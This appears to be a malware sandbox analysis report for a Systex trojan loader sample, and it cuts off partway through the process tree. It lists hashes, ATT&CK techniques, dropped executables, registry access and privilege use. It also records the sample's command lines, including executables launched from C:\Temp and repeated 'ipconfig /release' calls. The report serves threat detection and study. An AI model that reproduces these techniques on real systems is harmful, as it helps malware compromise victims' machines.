systex | f6b3ed46f93a0472f34ce4f089571ce0b17bb7facb90ff1377a97252ae695d5e

Analysis

max time kernel
149s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 11:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
Size 384KB
Sample261002-nc9ptaydmg
SHA256 f6b3ed46f93a0472f34ce4f089571ce0b17bb7facb90ff1377a97252ae695d5e
MD5 796c0fdd251e9e7465e70e687d22c6a5
SHA1 5878319dd0a604d71adeb28e6de878061aa74432
SHA512 e2d74604fd638574760d583b5f4c937fd96c7b6c954e56dfe2743e7b0b2529e771fd6921166a48132927617561fa62dc9f6b619dac5708198c9343fee849e6a6
SSDEEP 3072:YbtjUAEJpaM/4yytKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:YbtK0IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1AD847B00BAA4F0F6C994043800DFAF36A67EB4281726CBC7E754CE9D99513C7A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3548	hczusmkecwuomhec.exe
4788	hczusmkecwuomhec.sys
2720	CreateProcess.exe
5140	hbzurmjhez.exe
468	CreateProcess.exe
5936	CreateProcess.exe
2604	i_hbzurmjhez.exe
5212	gezwuomgey.sys
4264	CreateProcess.exe
4332	ecwuomjhbz.exe
912	CreateProcess.exe
5056	CreateProcess.exe
4680	i_ecwuomjhbz.exe
5404	ztrljgbztr.sys
3276	CreateProcess.exe
4092	ljdbztrlig.exe
3208	CreateProcess.exe
1748	CreateProcess.exe
4856	i_ljdbztrlig.exe
124	ytqoigaytq.sys
4260	CreateProcess.exe
3024	tnlgaytqli.exe
3240	CreateProcess.exe
5828	CreateProcess.exe
3216	i_tnlgaytqli.exe
3392	gaysqlavtn.sys
4540	CreateProcess.exe
5404	qnigayvqni.exe
5952	CreateProcess.exe
768	CreateProcess.exe
2424	i_qnigayvqni.exe
4856	nifaysqkig.sys
3080	CreateProcess.exe
3572	nifdxnhfdx.exe
4776	CreateProcess.exe
4104	CreateProcess.exe
2060	i_nifdxnhfdx.exe
5880	cxusqkhfcx.sys
4248	CreateProcess.exe
2408	xvspnhfzxs.exe
3144	CreateProcess.exe
1504	CreateProcess.exe
4532	i_xvspnhfzxs.exe
4116	xupmhecxup.sys
5508	CreateProcess.exe
5904	zxrpkecwup.exe
1172	CreateProcess.exe
5704	CreateProcess.exe
832	i_zxrpkecwup.exe
3552	fzusmkeurp.sys
5724	CreateProcess.exe
3280	rmjebzurmj.exe
3396	CreateProcess.exe
1932	CreateProcess.exe
2988	i_rmjebzurmj.exe
5516	jhezwrojhb.sys
4100	CreateProcess.exe
4488	ezwjgbywro.exe
4544	CreateProcess.exe
1476	CreateProcess.exe
1588	i_ezwjgbywro.exe
3580	tomgeywqoj.sys
4864	CreateProcess.exe
4536	qomjhbywtr.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3952_265684956\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3952_1324929763\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3952_1324929763\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3952_679538215\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3952_265684956\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3952_1324929763\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3952_1324929763\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3952_1524246436\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3952_679538215\protocols.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ezwjgbywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qomjhbywtr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hczusmkecwuomhec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifdxnhfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifdxnhfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezwjgbywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eczurpmhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjebzurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qomjhbywtr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbysqkifdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbztrlig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlgaytqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpkecwup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfdavsqnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnaxsqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upnhfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwtromgebz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwuomjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbztrlig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwtromgebz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbzurmjhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvspnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjebzurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eczurpmhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnigayvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbzurmjhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlgaytqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvspnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpkecwup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbysqkifdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfdavsqnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_upnhfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwuomjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnaxsqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnigayvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tqljdytqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tqljdytqli.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3244	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
300	ipconfig.exe
2692	ipconfig.exe
5068	ipconfig.exe
4876	ipconfig.exe
1744	ipconfig.exe
4696	ipconfig.exe
4356	ipconfig.exe
4600	ipconfig.exe
4604	ipconfig.exe
4656	ipconfig.exe
1504	ipconfig.exe
2484	ipconfig.exe
5420	ipconfig.exe
4536	ipconfig.exe
6108	ipconfig.exe
3364	ipconfig.exe
1756	ipconfig.exe
5152	ipconfig.exe
3272	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2251218687-1689653882-3767565116-1000\{2A16466D-3BD8-485F-B244-298B611E9BF3}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
3548	hczusmkecwuomhec.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
3548	hczusmkecwuomhec.exe
3548	hczusmkecwuomhec.exe
3548	hczusmkecwuomhec.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
3548	hczusmkecwuomhec.exe
3548	hczusmkecwuomhec.exe
3548	hczusmkecwuomhec.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
3548	hczusmkecwuomhec.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
3548	hczusmkecwuomhec.exe
3548	hczusmkecwuomhec.exe
3548	hczusmkecwuomhec.exe
3548	hczusmkecwuomhec.exe
3548	hczusmkecwuomhec.exe
3548	hczusmkecwuomhec.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3952	msedge.exe
3952	msedge.exe
3952	msedge.exe
3952	msedge.exe
3952	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2604	i_hbzurmjhez.exe
Token: SeDebugPrivilege	4680	i_ecwuomjhbz.exe
Token: SeDebugPrivilege	4856	i_ljdbztrlig.exe
Token: SeDebugPrivilege	3216	i_tnlgaytqli.exe
Token: SeDebugPrivilege	2424	i_qnigayvqni.exe
Token: SeDebugPrivilege	2060	i_nifdxnhfdx.exe
Token: SeDebugPrivilege	4532	i_xvspnhfzxs.exe
Token: SeDebugPrivilege	832	i_zxrpkecwup.exe
Token: SeDebugPrivilege	2988	i_rmjebzurmj.exe
Token: SeDebugPrivilege	1588	i_ezwjgbywro.exe
Token: SeDebugPrivilege	5400	i_qomjhbywtr.exe
Token: SeDebugPrivilege	5676	i_tqljdytqli.exe
Token: SeDebugPrivilege	2860	i_dbysqkifdb.exe
Token: SeDebugPrivilege	1344	i_vtnaxsqkic.exe
Token: SeDebugPrivilege	4656	i_hfdavsqnhf.exe
Token: SeDebugPrivilege	6024	i_upnhfcxvpn.exe
Token: SeDebugPrivilege	4060	i_eczurpmhez.exe
Token: SeDebugPrivilege	4700	i_wuomgeywro.exe
Token: SeDebugPrivilege	2460	i_bwtromgebz.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3952	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 3548	1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe	89
PID 1332 wrote to memory of 1944	1332	2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe	90
PID 1944 wrote to memory of 3952	1944	iexplore.exe	91
PID 3952 wrote to memory of 2156	3952	msedge.exe	92
PID 3952 wrote to memory of 3244	3952	msedge.exe	94
PID 3952 wrote to memory of 3304	3952	msedge.exe	95
PID 3952 wrote to memory of 3304	3952	msedge.exe	95
PID 3952 wrote to memory of 3304	3952	msedge.exe	95
PID 3952 wrote to memory of 3948	3952	msedge.exe	96
PID 3952 wrote to memory of 3948	3952	msedge.exe	96
PID 3952 wrote to memory of 2456	3952	msedge.exe	97
PID 3952 wrote to memory of 1216	3952	msedge.exe	98
PID 3952 wrote to memory of 2456	3952	msedge.exe	97
PID 3952 wrote to memory of 2456	3952	msedge.exe	97
PID 3952 wrote to memory of 1216	3952	msedge.exe	98
PID 3952 wrote to memory of 1216	3952	msedge.exe	98
PID 3952 wrote to memory of 1000	3952	msedge.exe	99
PID 3952 wrote to memory of 4544	3952	msedge.exe	100
PID 3952 wrote to memory of 1000	3952	msedge.exe	99
PID 3952 wrote to memory of 1000	3952	msedge.exe	99
PID 3952 wrote to memory of 4544	3952	msedge.exe	100
PID 3952 wrote to memory of 4544	3952	msedge.exe	100
PID 3952 wrote to memory of 4724	3952	msedge.exe	103
PID 3952 wrote to memory of 4724	3952	msedge.exe	103
PID 3952 wrote to memory of 3644	3952	msedge.exe	105
PID 3952 wrote to memory of 5188	3952	msedge.exe	106
PID 3952 wrote to memory of 3644	3952	msedge.exe	105
PID 3952 wrote to memory of 5188	3952	msedge.exe	106
PID 3548 wrote to memory of 2720	3548	hczusmkecwuomhec.exe	107
PID 3952 wrote to memory of 1180	3952	msedge.exe	110
PID 5140 wrote to memory of 468	5140	hbzurmjhez.exe	112
PID 3952 wrote to memory of 624	3952	msedge.exe	115
PID 3952 wrote to memory of 624	3952	msedge.exe	115
PID 3952 wrote to memory of 4148	3952	msedge.exe	118
PID 3952 wrote to memory of 4148	3952	msedge.exe	118
PID 3548 wrote to memory of 5936	3548	hczusmkecwuomhec.exe	119
PID 3548 wrote to memory of 4264	3548	hczusmkecwuomhec.exe	123
PID 4332 wrote to memory of 912	4332	ecwuomjhbz.exe	125
PID 3548 wrote to memory of 5056	3548	hczusmkecwuomhec.exe	128
PID 3548 wrote to memory of 3276	3548	hczusmkecwuomhec.exe	132
PID 4092 wrote to memory of 3208	4092	ljdbztrlig.exe	134
PID 3548 wrote to memory of 1748	3548	hczusmkecwuomhec.exe	137
PID 3548 wrote to memory of 4260	3548	hczusmkecwuomhec.exe	142
PID 3024 wrote to memory of 3240	3024	tnlgaytqli.exe	144
PID 3952 wrote to memory of 5692	3952	msedge.exe	147
PID 3952 wrote to memory of 3332	3952	msedge.exe	148
PID 3952 wrote to memory of 5180	3952	msedge.exe	149
PID 3548 wrote to memory of 5828	3548	hczusmkecwuomhec.exe	150
PID 3548 wrote to memory of 4540	3548	hczusmkecwuomhec.exe	154
PID 5404 wrote to memory of 5952	5404	qnigayvqni.exe	156
PID 3548 wrote to memory of 768	3548	hczusmkecwuomhec.exe	159
PID 3548 wrote to memory of 3080	3548	hczusmkecwuomhec.exe	163
PID 3572 wrote to memory of 4776	3572	nifdxnhfdx.exe	165
PID 3548 wrote to memory of 4104	3548	hczusmkecwuomhec.exe	168
PID 3548 wrote to memory of 4248	3548	hczusmkecwuomhec.exe	172
PID 2408 wrote to memory of 3144	2408	xvspnhfzxs.exe	174
PID 3548 wrote to memory of 1504	3548	hczusmkecwuomhec.exe	177
PID 3548 wrote to memory of 5508	3548	hczusmkecwuomhec.exe	181
PID 5904 wrote to memory of 1172	5904	zxrpkecwup.exe	183
PID 3952 wrote to memory of 5760	3952	msedge.exe	186
PID 3952 wrote to memory of 5760	3952	msedge.exe	186
PID 3548 wrote to memory of 5704	3548	hczusmkecwuomhec.exe	188
PID 3952 wrote to memory of 3068	3952	msedge.exe	194
PID 3952 wrote to memory of 3068	3952	msedge.exe	194

C:\Users\Admin\AppData\Local\Temp\2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-01_796c0fdd251e9e7465e70e687d22c6a5_amadey_darkgate_elex_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1332
- C:\Temp\hczusmkecwuomhec.exe
  C:\Temp\hczusmkecwuomhec.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3548
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hbzurmjhez.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2720
  - - C:\Temp\hbzurmjhez.exe
      C:\Temp\hbzurmjhez.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5140
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:468
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4876
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hbzurmjhez.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5936
  - - C:\Temp\i_hbzurmjhez.exe
      C:\Temp\i_hbzurmjhez.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ecwuomjhbz.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4264
  - - C:\Temp\ecwuomjhbz.exe
      C:\Temp\ecwuomjhbz.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4332
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:912
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1504
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ecwuomjhbz.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5056
  - - C:\Temp\i_ecwuomjhbz.exe
      C:\Temp\i_ecwuomjhbz.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4680
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljdbztrlig.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3276
  - - C:\Temp\ljdbztrlig.exe
      C:\Temp\ljdbztrlig.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4092
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3208
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1744
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljdbztrlig.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1748
  - - C:\Temp\i_ljdbztrlig.exe
      C:\Temp\i_ljdbztrlig.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4856
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tnlgaytqli.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4260
  - - C:\Temp\tnlgaytqli.exe
      C:\Temp\tnlgaytqli.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3024
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3240
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2484
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tnlgaytqli.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5828
  - - C:\Temp\i_tnlgaytqli.exe
      C:\Temp\i_tnlgaytqli.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3216
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qnigayvqni.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4540
  - - C:\Temp\qnigayvqni.exe
      C:\Temp\qnigayvqni.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5404
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5952
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5420
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qnigayvqni.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:768
  - - C:\Temp\i_qnigayvqni.exe
      C:\Temp\i_qnigayvqni.exe ups_ins
